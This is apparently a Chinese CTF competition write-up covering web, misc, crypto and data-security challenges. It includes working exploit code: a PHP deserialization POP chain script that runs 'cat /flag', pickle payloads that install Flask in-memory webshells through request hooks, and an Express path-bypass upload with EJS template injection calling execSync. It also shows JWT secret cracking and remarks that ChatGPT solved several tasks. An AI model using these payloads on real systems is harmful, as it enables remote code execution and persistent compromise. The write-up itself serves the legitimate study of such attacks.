Web

web1 ez_unserialize

开胃小菜

<?php

error_reporting(0);
highlight_file(__FILE__);

class A {
public $first;
public $step;
public $next;

public function __construct() {
$this->first = "继续加油!";
}

public function start() {
echo $this->next;
}
}

class E {
private $you;
public $found;
private $secret = "admin123";

public function __get($name){
if($name === "secret") {
echo "<br>".$name." maybe is here!</br>";
$this->found->check();
}
}
}

class F {
public $fifth;
public $step;
public $finalstep;

public function check() {
if(preg_match("/U/",$this->finalstep)) {
echo "仔细想想!";
}
else {
$this->step = new $this->finalstep();
($this->step)();
}
}
}

class H {
public $who;
public $are;
public $you;

public function __construct() {
$this->you = "nobody";
}

public function __destruct() {
$this->who->start();
}
}

class N {
public $congratulation;
public $yougotit;

public function __call(string $func_name, array $args) {
return call_user_func($func_name,$args[0]);
}
}

class U {
public $almost;
public $there;
public $cmd;

public function __construct() {
$this->there = new N();
$this->cmd = $_POST['cmd'];
}

public function __invoke() {
return $this->there->system($this->cmd);
}
}

class V {
public $good;
public $keep;
public $dowhat;
public $go;

public function __toString() {
$abc = $this->dowhat;
$this->go->$abc;
return "<br>Win!!!</br>";
}
}

unserialize($_POST['payload']);

?>

交给AI梭一下反序列化ChatGPT有时还是挺给力的

目标代码里 unserialize($_POST['payload']); 可控对象反序列化。我们观察到几处可利用的魔术方法/链:

  • H::__destruct() 会调用 $this->who->start() → 如果 whoAA::start()echo $this->next(对 next 进行字符串化)
  • 如果 nextV 对象,则 V::__toString() 被触发:它读取 $this->dowhat$abc,再执行 $this->go->$abc
  • 如果 V->dowhat = "secret"V->goE 对象,那么对 E->secret 的访问会触发 E::__get(),里面会调用 $this->found->check()
  • F::check()new $this->finalstep()(如果 finalstep 中包含大写 U 会被 preg_match("/U/") 检出并中断),然后对新对象做 ($this->step)();(即调用对象的 __invoke
  • U::__invoke() 会调用 $this->there->system($this->cmd),而 thereNN::__call 会把 system 转成全局 system() 调用,从而执行任意 shell命令($_POST['cmd'] 被用作命令)

关键绕过点:F::check 用了 preg_match("/U/",$this->finalstep)——只要把 finalstep 设为小写的 "u"(类名大小写在 PHP 中不敏感),就能绕过该检查并成功 new 'u'() 以实例化类 U

因此构造链(简化理解):
H(where->who = A) -> A->next = V -> V->dowhat = "secret", V->go = E -> E->found = F -> F->finalstep = "u"
同时 POST 包含cmd=cat /flag。在脚本结束时 H::__destruct 触发,链路走通,最终调用 system('cat /flag')

<?php
$url = 'http://45.40.247.139:20983/';
$cmd = 'cat /flag';

class A
{
public $first;
public $step;
public $next;
public function __construct()
{
$this->first = null;
}
public function start()
{
echo $this->next;
}
}

class E
{
private $you;
public $found;
private $secret = "admin123";
public function __get($name)
{
if ($name === "secret") {
echo "<br>" . $name . " maybe is here!</br>";
$this->found->check();
}
}
}

class F
{
public $fifth;
public $step;
public $finalstep;
public function check()
{
if (preg_match("/U/", $this->finalstep)) {
echo "仔细想想!";
} else {
$this->step = new $this->finalstep();
($this->step)();
}
}
}

class H
{
public $who;
public $are;
public $you;
public function __construct()
{
$this->you = "nobody";
}
public function __destruct()
{
$this->who->start();
}
}

class N
{
public $congratulation;
public $yougotit;
public function __call(string $func_name, array $args)
{
return call_user_func($func_name, $args[0]);
}
}

class U
{
public $almost;
public $there;
public $cmd;
public function __construct()
{
$this->there = new N();
$this->cmd = $_POST['cmd'];
}
public function __invoke()
{
return $this->there->system($this->cmd);
}
}

class V
{
public $good;
public $keep;
public $dowhat;
public $go;
public function __toString()
{
$abc = $this->dowhat;
$this->go->$abc;
return "<br>Win!!!</br>";
}
}

/* 构造对象图 */
$f = new F();
$f->finalstep = 'u'; // 小写 u,避开 preg_match("/U/"),但依然能 new 'u'()(PHP 类名不区分大小写)

$e = new E();
$e->found = $f;

$v = new V();
$v->dowhat = 'secret'; // 触发 E::__get
$v->go = $e;

$a = new A();
$a->next = $v;

$h = new H();
$h->who = $a;

/* 序列化 payload */
$payload = serialize($h);

/* 发送 POST */
$post = array(
'payload' => $payload,
'cmd' => $cmd,
);

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$res = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);

if ($res === false) {
echo "cURL error: $err\n";
} else {
echo "=== Response from server ===\n";
echo $res . "\n";
}

web2 ezsignin*

一个没写完的文件系统

web3 ez_blog

你能发现博客系统中的漏洞吗?

提示我们:访客只能用访客账号登录哦!
弱口令:guest/guest

发现一个十六进制的Token,解码发现有guest is_admin的信息,想到要打pickle反序列化

Flask内存马

import pickle


class A():
def __reduce__(self):
return (exec, ("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen(request.args.get('cmd')).read())",))
# return (exec, ("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('env').read())",))


a = A()
b = pickle.dumps(a)
print(b.hex())
# 800495af000000000000008c086275696c74696e73948c04657865639493948c935f5f696d706f72745f5f282773797327292e6d6f64756c65735b275f5f6d61696e5f5f275d2e5f5f646963745f5f5b27617070275d2e6265666f72655f726571756573745f66756e63732e73657464656661756c74284e6f6e652c5b5d292e617070656e64286c616d626461203a5f5f696d706f72745f5f28276f7327292e706f70656e2827656e7627292e7265616428292994859452942e

还有一些其他的钩子函数

# after_request
return (exec,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())\")==None else resp)",))

# teardown_request
return (exec,("__import__('sys').modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').popen(__import__('flask').request.args.get('cmd')).read())",))

# teardown_appcontext
return (exec,("__import__('sys').modules['__main__'].__dict__['app'].teardown_appcontext_funcs.append(lambda error: __import__('os').popen(request.args.get('cmd')).read())",))

# errorhandler
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))

web4 auth_web*

为了系统安全,我在自己的开源项目代码中加入了认证方式

我丢,虽然有jar反编译工具,但是懒啊……

web5 staticNodeService

http.server is a great tool. So I also created one using node.js

const express = require('express');
const ejs = require('ejs');
const fs = require('fs');
const path = require('path');

const app = express();
const PORT = parseInt(process.env.PORT) || 3000;

app.set('view engine', 'ejs');
app.use(express.json({
limit: '1mb'
}));

const STATIC_DIR = path.join(__dirname, '/');

// serve index for better viewing
function serveIndex(req, res) {
var templ = req.query.templ || 'index';
var lsPath = path.join(__dirname, req.path);
try {
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
console.log(e);
res.status(500).send('Error rendering page');
}
}

// static serve for simply view/download
app.use(express.static(STATIC_DIR));

// Security middleware
app.use((req, res, next) => {
if (typeof req.path !== 'string' ||
(typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
) res.status(500).send('Error parsing path');
else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
else next();
})

// logic middleware
app.use((req, res, next) => {
if (req.path.endsWith('/')) serveIndex(req, res);
else next();
})

// Upload operation handler
app.put('/*', (req, res) => {
const filePath = path.join(STATIC_DIR, req.path);

if (fs.existsSync(filePath)) {
return res.status(500).send('File already exists');
}

fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) {
return res.status(500).send('Error writing file');
}
res.status(201).send('File created/updated');
});
});

// Server start
app.listen(PORT, () => {
console.log(`Static server is running on http://localhost:${PORT}`);
});

2024CISCN决赛web-ezjs修复版,甚至非预期(.ejs/.../)都给修了,目前的难题在于,如何绕过js$这个正则

可以通过express路径规范化特性,让/readflag.ejs/.,解析为/readflag.ejs,实现文件上传

然后就是模板注入,这里/flag给的是400的权限,但是可以读/readflag

注意了,这里不要使用Pythonrequestput方法,它会在这一步就帮你提前路径规范化

import socket
import base64

def send_put_request():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 3000))
content = '<%= global.process.mainModule.require(\'child_process\').execSync(\'/readflag\').toString() %>'
encoded_content = base64.b64encode(content.encode()).decode()
body = f'{{"content":"{encoded_content}"}}'
request = (
f"PUT /readflag.ejs/. HTTP/1.1\r\n"
f"Host: localhost:3000\r\n"
f"Content-Type: application/json\r\n"
f"Content-Length: {len(body)}\r\n"
f"Connection: close\r\n"
f"\r\n"
f"{body}"
)
s.send(request.encode())
response = b""
while True:
chunk = s.recv(1024)
if not chunk:
break
response += chunk

s.close()
return response.decode()

def send_get_request():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 3000))
request = (
"GET /?templ=../readflag.ejs HTTP/1.1\r\n"
"Host: localhost:3000\r\n"
"Connection: close\r\n"
"\r\n"
)
s.send(request.encode())
response = b""
while True:
chunk = s.recv(1024)
if not chunk:
break
response += chunk

s.close()
return response.decode()

put_response = send_put_request()
print("PUT请求响应:")
print(put_response)
print("\n" + "="*50 + "\n")
get_response = send_get_request()
print("GET请求响应:")
print(get_response)

web6 evil_login*

can u login?
hint: guest/guest1234

jwt伪造python jwt_tool.py xxxx -C -d jwt_key.txt
用字典爆出来admin123

工具:

auth_token

auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.-M2fBkjjUddPWmGOAcZ9tDfpZBnCWlfrvIkaOQifNYk; 
session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV19.aOp9iw.FpTLQhPK5QntjW-gd3PBsbM9Thk

admin了然后呢?这session好像也没什么用,没有下一步的指示了,web也脑洞是吧……

Misc

别笑,你试你也过不了第二关

来试试闯关拿下flag吧!

请编写代码使字符串 hilogo 的内容为以下图案:

##### ##### ### # # ##### ##### ##### ##### ### # # #####
# # # # # # # # # # # # # # # # #
# # ##### # # # # # # # ##### # # # #
# # # # # # # # # # # # # # # # #
##### ##### # # ##### ##### ##### ##### ##### ##### # # ##### ##### #####

这里应该是Python沙箱,那我们用简单的运算拼接一下

a='#'*5;d='#   #';c=a+' ';p=c+' '+a;l2="#        #    #   #  #      #      #   # #     #       #    #   #  #      #      #   #";b='   ###   #      #      ';q='  '+d+'  '+a+'  '+a;l1=p+b+c*3+a+b+a;l5=p+q+'  '+(c*3+a)+q+'  '+a;l3=l2.replace(d,a);hilogo=f'{l1}\n{l2}\n{l3}\n{l2}\n{l5}'
请编写 code 以输出前0x114514个数的序数词后缀(小于37长度):
def get_ordinal(n):
if 10 <= n % 100 <= 20:
suffix = 'th'
else:
suffix = ['st', 'nd', 'rd', 'th', 'th', 'th', 'th', 'th', 'th', 'th'][n % 10 - 1]
return suffix

test_passed = True
user_function = eval(f"lambda n: {<span style='color: red;'>code</span>}", {}, {})

for i in range(1, 0x114514):
if user_function(i) != get_ordinal(i):
test_passed = False

第二关没打出来
好吧,赛后发现原来是code golf的例题
'tsnrhtdd'[n%5*(n%100^15>4>n%10)::4]

misc3 成功男人背后的女人

每个成功的男人背后都站着一个伟大的女人。

tweakpng看了一下,一开始像IDAT隐写,但也发现了大量的mkBT块,搜索发现是Adobe专属的数据块,下个firework

01000100010000010101001101000011
01010100010001100111101101110111
00110000011011010100010101001110
01011111011000100110010101101000
00110001011011100100010001011111
01001101010001010110111001111101

DASCTF{w0mEN_beh1nD_MEn}

Crypto

瑞德的一生

瑞德的一生坎坷,你能不能帮帮他

from Crypto.Util.number import *
from gmpy2 import legendre
from secret import flag

m = bytes_to_long(flag)

p, q = getPrime(256), getPrime(256)
n = p * q

x = getRandomRange(0, n)
while legendre(x, p) != -1 or legendre(x, q) != -1:
x = getRandomRange(0, n)
def encrypt(msg , n, x):
y = getRandomRange(0, n)
enc = []
while msg:
bit = msg & 1
msg >>= 1
enc.append((pow(y, 2) * pow(x, bit)) % n)
y += getRandomRange(1, 2**48)
return enc

with open('output.txt', 'w') as file:
file.write(f"n = {n}\n")
file.write(f"x = {x}\n")
file.write(f"enc = {encrypt(m, n, x)}\n")

github搜索关键代码enc.append((pow(y, 2) * pow(x, bit)) % n)就是原题

from Crypto.Util.number import *
from tqdm import tqdm

exec(open('output.txt').read())

def resultant(f1, f2, var):
return Matrix(f1.sylvester_matrix(f2, var)).determinant()

pgcd = lambda g1, g2: g1.monic() if not g2 else pgcd(g2, g1%g2)

P.<y, k> = PolynomialRing(Zmod(n))
p1 = x * y^2 - enc[0]
p2 = (y + k)^2 - enc[1]
p3 = resultant(p1, p2, y)
k = min(p3.univariate_polynomial().monic().small_roots())

P.<y> = PolynomialRing(Zmod(n))
p1 = x * y^2 - enc[0]
p2 = (y + k)^2 - enc[1]
p4 = pgcd(p1, p2)
y = n - p4.coefficients()[0]

flag = 0
P.<k> = PolynomialRing(Zmod(n))

for c in tqdm(enc[::-1]):
flag <<= 1
poly = x * (y+k)^2 - c
if len(poly.monic().small_roots()):
flag += 1

print(long_to_bytes(flag))

Ridiculous LFSR*

What? You call this LFSR?

from Crypto.Util.number import *
from random import *
from os import urandom
from secret import flag


flag = flag.strip(b"DASCTF{").strip(b"}")
m = bytes_to_long(flag)
LENGTH = m.bit_length()


class LFSR():
def __init__(self,length):
self.seed = urandom(32)
self.length = length
seed(self.seed)

def next(self):
return getrandbits(self.length)

def rotate(msg,l=1):
temp = bin(msg)[2:].zfill(LENGTH)
return int(temp[l:] + temp[:l],2)


lfsr = LFSR(LENGTH)
c = []
l = []
for i in range(200):
temp = lfsr.next()
c.append(temp ^ m)
l.append(bin(temp)[2:].count("1"))
m = rotate(m)

with open("output.txt","w") as f:
f.write("LENGTH = " + str(LENGTH) + "\n")
f.write("c = " + str(c) + "\n")
f.write("l = " + str(l) + "\n")

发现有AI梭哈的wpChatGPT-Pro这么吊吗?哈人

DS&Ai

DS&Ai1 SM4-OFB

我得到了由某个密钥加密过的部分数据,其中,已知第一条记录的明文为:
蒋宏玲 17145949399 220000197309078766
你能帮我解密所有数据吗?将”何浩璐”的身份证号的md5值作为flag提交

ChatGPT一把梭

SM4-OFB 是流式模式:对每个字段用相同的 IV/密钥IV 产生的 keystream 与明文异或得到密文
利用已知明文(第一条记录的姓名/手机号/身份证),把对应的密文 XOR 明文 得到三个字段的 keystream
用得到的 keystream 分别 XOR 所有记录对应字段的密文,得到所有记录的明文

#!/usr/bin/env python3
"""
decrypt_sm4_ofb_known_plaintext.py

说明:
该脚本演示如何在 SM4-OFB(流模式)下,利用已知明文(known-plaintext)恢复 keystream 并解密表格中其它记录。
脚本假定每个密文字段以 hex 字符串形式存储,IV 以 hex 存储(同一 IV 或同一密钥下的不同记录可能相同)。

输出:
- 在终端打印目标姓名对应的身份证号与 MD5
- 保存一个解密后的 CSV(如果指定 --out)

注意:
- 该方法**并不需要**知道 SM4 密钥或直接执行 SM4 算法;因为 OFB 模式下密文 = 明文 XOR keystream(流),知道任意明文-密文对可恢复对应位置的 keystream,进而解密其它使用相同 keystream 的密文。
- 如果不同列或不同记录使用不同的 keystream(例如不同 IV 或不同密钥),则需要分别用对应的已知明文恢复每个 keystream。本脚本默认第一条记录(--known-row)为已知,并用该记录的姓名/手机号/身份证恢复 3 个 keystream,分别用于解密对应列的所有记录。
"""

import argparse
import binascii
import hashlib
import pandas as pd
import sys


def hex_to_bytes(s):
# 允许传入 None 或 空字符串
if s is None:
return b''
s = str(s).strip()
if s == '':
return b''
# 去掉可能的前缀 0x
if s.startswith('0x') or s.startswith('0X'):
s = s[2:]
return binascii.unhexlify(s)


def derive_keystream_from_pair(cipher_hex, plaintext, encoding='utf-8'):
c = hex_to_bytes(cipher_hex)
p = plaintext.encode(encoding)
if len(p) > len(c):
raise ValueError("已知明文字节长度大于对应密文长度,无法直接派生密钥流")
# 明文在密文长度后补零(假设写入时明文按原始字节长度放入流的开头,后面用零填充)
p_padded = p + b"\x00" * (len(c) - len(p))
ks = bytes(a ^ b for a, b in zip(c, p_padded))
return ks


def decrypt_with_keystream(cipher_hex, ks, encoding='utf-8'):
c = hex_to_bytes(cipher_hex)
# 取最短长度的 keystream
n = min(len(c), len(ks))
pt_bytes = bytes(a ^ b for a, b in zip(c[:n], ks[:n]))
try:
s = pt_bytes.decode(encoding)
except Exception:
s = pt_bytes.decode(encoding, errors='ignore')
# 去掉可能的尾部填充和空白
s = s.rstrip('\x00').strip()
return s


def main(argv=None):
p = argparse.ArgumentParser()
p.add_argument('--input', '-i', required=True, help='输入 Excel/CSV 文件路径(支持 xlsx/xls/csv)')
p.add_argument('--known-row', type=int, default=0, help='已知明文所在行(0-based 索引),默认 0')
p.add_argument('--known-name', required=True, help='已知行的姓名明文')
p.add_argument('--known-phone', required=True, help='已知行的手机号明文')
p.add_argument('--known-id', required=True, help='已知行的身份证号明文')
p.add_argument('--name-col', default='姓名', help='姓名列名,默认 "姓名"')
p.add_argument('--phone-col', default='手机号', help='手机号列名,默认 "手机号"')
p.add_argument('--id-col', default='身份证号', help='身份证列名,默认 "身份证号"')
p.add_argument('--iv-col', default='IV', help='IV 列名,若无也可不动,默认 "IV"')
p.add_argument('--target-name', default=None, help='想要查询并输出 MD5 的目标姓名(例如 "何浩璐")')
p.add_argument('--out', default=None, help='可选:解密后保存的 CSV 路径')
args = p.parse_args(argv)

# 读取文件
if args.input.lower().endswith('.csv'):
df = pd.read_csv(args.input, dtype=str)
else:
df = pd.read_excel(args.input, dtype=str)

# 去掉全表空值的一些简单清理
df = df.fillna('')

# 获取已知行的三列密文
try:
c_name = df.at[args.known_row, args.name_col]
c_phone = df.at[args.known_row, args.phone_col]
c_id = df.at[args.known_row, args.id_col]
except Exception as e:
print('无法在表中找到指定列或行:', e)
sys.exit(2)

# 派生三条 keystream(分别用于姓名/手机号/身份证列)
ks_name = derive_keystream_from_pair(c_name, args.known_name)
ks_phone = derive_keystream_from_pair(c_phone, args.known_phone)
ks_id = derive_keystream_from_pair(c_id, args.known_id)

# 对整列解密
dec_names = []
dec_phones = []
dec_ids = []
for _, row in df.iterrows():
dec_names.append(decrypt_with_keystream(row.get(args.name_col, ''), ks_name))
dec_phones.append(decrypt_with_keystream(row.get(args.phone_col, ''), ks_phone))
dec_ids.append(decrypt_with_keystream(row.get(args.id_col, ''), ks_id))

df['_dec_name'] = dec_names
df['_dec_phone'] = dec_phones
df['_dec_id'] = dec_ids

# 如果指定目标姓名,查找并输出其身份证及 MD5
if args.target_name:
hits = df[df['_dec_name'] == args.target_name]
if len(hits) == 0:
print(f'未找到目标姓名: {args.target_name}')
else:
for idx, r in hits.iterrows():
idval = r['_dec_id']
md5 = hashlib.md5(idval.encode('utf-8')).hexdigest()
print('---')
print('行索引:', idx)
print('姓名:', r['_dec_name'])
print('手机号:', r['_dec_phone'])
print('身份证号:', idval)
print('身份证 MD5:', md5)

# 可选保存解密结果
if args.out:
# 保存部分列以免泄露原密文(但也可保存全部)
outdf = df.copy()
outdf.to_csv(args.out, index=False, encoding='utf-8-sig')
print('已保存解密后的表到:', args.out)


if __name__ == '__main__':
main()
python3 exp.py \
--input 个人信息表.xlsx \
--known-row 0 \
--known-name "蒋宏玲" \
--known-phone 17145949399 \
--known-id 220000197309078766 \
--target-name "何浩璐" \
--out decrypted.csv
行索引: 859
姓名: 何浩璐
手机号: 14736125420
身份证号: 120000197404101676
身份证 MD5: fbb80148b75e98b18d65be446f505fcc

这个方向ChatGPT-Pro也能梭很多题,可惜牟钱啊

else

没落的Sloth,没什么人打比赛了,今年圈圈都不在校队打了,小凳没一个报名的,就这样吧……

后面等大佬的wp出来,再学学web的思路……